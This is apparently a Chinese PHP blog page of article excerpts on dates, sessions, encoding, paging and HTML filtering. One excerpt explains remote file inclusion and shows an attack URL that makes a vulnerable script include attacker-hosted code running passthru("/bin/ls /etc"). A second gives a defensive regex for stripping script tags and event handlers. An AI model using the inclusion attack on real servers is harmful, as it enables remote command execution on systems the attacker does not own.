凡人足迹

　PHP是一门高效的网络编程语言，由于它具有编写灵活、运行快速等优点，迅速成为Web程序员的首选语言。前不久的一份权威调查表明，现在已经有31.6％的网站使用PHP作为主要的服务器端编程语言。

　　但是，要成为一名PHP编程高手却并不容易。并不像很多人想象的那样，只要能够飞快地编写几条简单的代码去解决一个复杂的问题就是PHP编程高手了，真正的PHP高手还需要考虑更多的其它问题。以下三条准则是一名成熟的PHP程序员在编程中应该首先遵循的准则。

　　1.懒惰是金

　　2.编写漂亮的代码

　　3.追求程序的速度，而不是编程的速度

　　一、懒惰是金

　　做一个懒惰的程序员吗？这个想法太奇怪了！因为这个世界上最忙碌的人可能就是计算机程序员了。但正是因为程序员太忙了，所以才应该在编程时学会偷懒。

　　对于一个程序员来说，懒惰的方法有两种：其一，大胆使用现成的别人的程序代码，把这些代码融入到你自己的程序或者项目中去。其二是编写一些有用的代码建立一个函数库，在将来编写程序时可以顺手拈来，省去了许多重复的劳动，自然就可以懒惰一点了。
这两种偷懒的方法都非常适合PHP程序员了。

» 阅读全文

PHP 5.1.1 起定义有以下常量来提供标准日期表达方法，可以用于日期格式函数(例如 date())。

　　DATE_ATOM(string)

　　原子钟格式(如：2005-08-15T15:52:01+00:00)

　　DATE_COOKIE(string)

例：echo date(DATE_COOKIE);输出:

Wednesday, 09-Apr-08 09:57:57 UTC

　　HTTP Cookies 格式

例：echo date("HTTP Cookies");输出

09UTCUTC+00:00 C20082008k59UTC50

　　DATE_ISO8601(string)

　　ISO-8601(如：2005-08-15T15:52:01+0000)

　　DATE_RFC822(string)

　　RFC 822(如：Mon, 15 Aug 2005 15:52:01 UTC)

　　DATE_RFC850(string)

　　RFC 850(如：Monday, 15-Aug-05 15:52:01 UTC)

　　DATE_RFC1036(string)

　　RFC 1036(如：Monday, 15-Aug-05 15:52:01 UTC)

　　DATE_RFC1123(string)

　　RFC 1123(如：Mon, 15 Aug 2005 15:52:01 UTC)

　　DATE_RFC2822(string)

　　RFC 2822(如：Mon, 15 Aug 2005 15:52:01 +0000)

　　DATE_RSS(string)

　　RSS(如：Mon, 15 Aug 2005 15:52:01 UTC)

　　DATE_W3C(string)

　　World Wide Web Consortium(如：2005-08-15T15:52:01+00:00)

　　比如，要输出一个RSS需要的日期格式，就可以用下面的代码简单实现：

　　echo date(DATE_RSS);

对比起 Cookie，Session 是存储在服务器端的会话，相对安全，并且不像 Cookie 那样有存储长度限制，本文简单介绍 Session 的使用。

　　由于 Session 是以文本文件形式存储在服务器端的，所以不怕客户端修改 Session 内容。实际上在服务器端的 Session 文件，PHP 自动修改 Session 文件的权限，只保留了系统读和写权限，而且不能通过 ftp 修改，所以安全得多。

　　对于 Cookie 来说，假设我们要验证用户是否登陆，就必须在 Cookie 中保存用户名和密码（可能是 md5 加密后字符串），并在每次请求页面的时候进行验证。如果用户名和密码存储在数据库，每次都要执行一次数据库查询，给数据库造成多余的负担。因为我们并不能只做一次验证。为什么呢？因为客户端 Cookie 中的信息是有可能被修改的。假如你存储 $admin 变量来表示用户是否登陆，$admin 为 true 的时候表示登陆，为 false 的时候表示未登录，在第一次通过验证后将 $admin 等于 true 存储在 Cookie，下次就不用验证了，这样对么？错了，假如有人伪造一个值为 true 的 $admin 变量那不是就立即取的了管理权限么？非常的不安全。

　　而 Session 就不同了，Session 是存储在服务器端的，远程用户没办法修改 Session 文件的内容，因此我们可以单纯存储一个 $admin 变量来判断是否登陆，首次验证通过后设置 $admin 值为 true，以后判断该值是否为 true，假如不是，转入登陆界面，这样就可以减少很多数据库操作了。而且可以减少每次为了验证 Cookie 而传递密码的不安全性了（Session 验证只需要传递一次，假如你没有使用 SSL 安全协议的话）。即使密码进行了 md5 加密，也是很容易被截获的。

　　当然使用 Session 还有很多优点，比如控制容易，可以按照用户自定义存储等（存储于数据库）。我这里就不多说了。

　　Session 在 php.ini 是否需要设置呢？一般不需要的，因为并不是每个人都有修改 php.ini 的权限，默认 Session 的存放路径是服务器的系统临时文件夹，我们可以自定义存放在自己的文件夹里，这个稍后我会介绍。

　　开始介绍如何创建 Session。非常简单，真的。

　　启动 Session 会话，并创建一个 $admin 变量：

» 阅读全文

从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.
　　
　　我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
　　
　　首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:
　　　　include($include."/xxx.php");
　　?>
　　在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,
　　HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.

» 阅读全文

PHP程序设计中中文编码问题曾经困扰很多人，导致这个问题的原因其实很简单，每个国家(或区域)都规定了计算机信息交换用的字符编码集，如美国的扩展 ASCII 码, 中国的 GB2312-80，日本的 JIS 等。作为该国家/区域内信息处理的基础，字符编码集起着统一编码的重要作用。字符编码集按长度分为 SBCS(单字节字符集)，DBCS(双字节字符集)两大类。早期的软件(尤其是操作系统)，为了解决本地字符信息的计算机处理，出现了各种本地化版本(L10N)，为了区分，引进了 LANG, Codepage 等概念。但是由于各个本地字符集代码范围重叠，相互间信息交换困难;软件各个本地化版本独立维护成本较高。因此有必要将本地化工作中的共性抽取出来，作一致处理，将特别的本地化处理内容降低到最少。这也就是所谓的国际化(118N)。各种语言信息被进一步规范为 Locale 信息。处理的底层字符集变成了几乎包含了所有字形的 Unicode。

　　现在大部分具有国际化特征的软件核心字符处理都是以 Unicode 为基础的，在软件运行时根据当时的ocale/Lang/Codepage 设置确定相应的本地字符编码设置，并依此处理本地字符。在处理过程中需要实现 Unicode 和本地字符集的相互转换，甚或以 Unicode 为中间的两个不同本地字符集的相互转换。这种方式在网络环境下被进一步延伸，任何网络两端的字符信息也需要根据字符集的设置转换成可接受的内容。

　　数据库中的字符集编码问题

　　流行的关系数据库系统都支持数据库字符集编码，也就是说在创建数据库时可以指定它自己的字符集设置，数据库的数据以指定的编码形式存储。当应用程序访问数据时，在入口和出口处都会有字符集编码的转换。对于中文数据，数据库字符编码的设置应当保证数据的完整性。GB2312、GBK、UTF-8 等都是可选的数据库字符集编码;当然我们也可以选择 ISO8859-1 (8-bit)，只是我们得在应

» 阅读全文

我们都知道用 php+mysql 在 web 页实现数据库资料全部显示是非常简单而有趣的,数据库资料很少的情况下页面显示还是让人满意的,但是当数据库资料非常多的情况下,页面的显示情况将会变的 非常糟糕,下面就来介绍一下如何实现当前页面数据资料显示数量及如何实现动态的翻转功能.

这里将介绍两种翻页显示功能的实现:
-----------------------------------------------------------
先介绍一下在翻页中用到的数据库语法:

mysql_query("select * from table order by id desc");

这条数据库语句再熟悉不过了,是用来搜索记录并倒序地显示出来,但并不能在翻页功能中起作用,而下面这个扩展了的语法才是实现翻页的核心功能:

mysql_query("select * from table order by id desc limit $start,$limit");

这里的 $start 是数据库搜索的起始行,$limit 是从起始行开始搜索到 $limit 条记录结束,好了,有了这个核心功能后,我们可以开始翻页功能了;

» 阅读全文

用PHP过滤html里可能被利用来引入外部危险内容的代码。有些时候，需要让用户提交html内容，以便丰富用户发布的信息，当然，有些可能造成显示页面布局混乱的代码也在过滤范围内。

以下是引用片段：
#用户发布的html,过滤危险代码
function uh($str)
{
    $farr = array(
        "/\s+/",                                                                                            //过滤多余的空白
        "/<(\/?)(script|i?frame|style|html|body|title|link|meta|\?|\%)([^>]*?)>/isU",  //过滤 <script 等可能引入恶意内容或恶意改变显示布局的代码,如果不需要插入flash等,还可以加入<object的过滤
        "/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU",                                      //过滤javascript的on事件
     
   );
   $tarr = array(
        " ",
        "＜\\1\\2\\3＞",           //如果要直接清除不安全的标签，这里可以留空
        "\\1\\2",
   );

  $str = preg_replace( $farr,$tarr,$str);
   return $str;
}

» 阅读全文